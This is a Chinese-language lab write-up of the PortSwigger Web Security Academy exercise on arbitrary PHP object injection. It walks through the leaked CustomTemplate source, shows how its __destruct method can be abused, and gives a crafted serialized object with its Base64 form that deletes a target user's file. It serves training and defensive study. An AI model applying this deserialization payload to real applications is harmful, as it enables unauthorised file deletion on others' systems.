> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/injecting-arbitrary-objects-in-php.md).
# 在 PHP 中注入任意对象
在 PHP 中注入任意对象，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### PHP 中的任意对象注入
**实验描述**
本实验使用基于 PHP\*\* 序列化的会话机制，并且存在 \*\*任意对象注入\*\* 漏洞。/ 目标是 **构造并注入一个恶意的序列化对象** 以删除 `morale.txt` Carlos 个人目录中的文件。
提供的标识符：
* **用户**: `wiener`
* **密码**: `peter`
**连接并观察会话**
在连接到提供的凭据后， **会话 cookie** 会被设置。/ 其内容是一个类型为 `用户`，例如：
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v2rpyke9b13ypl302bxc74cerzpnp8st";}
```
{% endcode %}
这证实了 \*\*应用程序会反序列化用户可控的 PHP 对象\*\*。
**访问源代码**
在应用程序的 HTML 代码中，有一条注释引起了注意：
```html
```
直接访问 `/libs/CustomTemplate.php` 文件不会返回任何内容。
不过，使用 **saveguard 编辑器** （后缀 `~`):
我们得到了 \*\*PHP 源代码\*\*。
```php
template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos 认为这是个好主意
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
```
**易受攻击的类分析**
该 `CustomTemplate` 类包括：
* 两个私有属性：
* `$template_file_path`
* `$lock_file_path`
* 一个魔术 `__destruct()` 方法，会执行：
```php
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
```
这意味着 **在销毁对象时**，任何路径存储在 `lock_file_path` 中的文件都可以被删除
**通过反序列化进行操作**
由于应用程序会反序列化来自会话的 PHP 对象，因此可以：
1. 手动创建一个 `CustomTemplate` object
2. 直接控制 `lock_file_path`
3. 在自动调用时强制删除目标文件 `__destruct()`
恶意序列化对象：
{% code overflow="wrap" %}
```json
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
```
{% endcode %}
**Base64 编码**
为了注入到会话 cookie 中，对象会被编码为 Base64：
{% code overflow="wrap" %}
```bash
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ==
```
{% endcode %}
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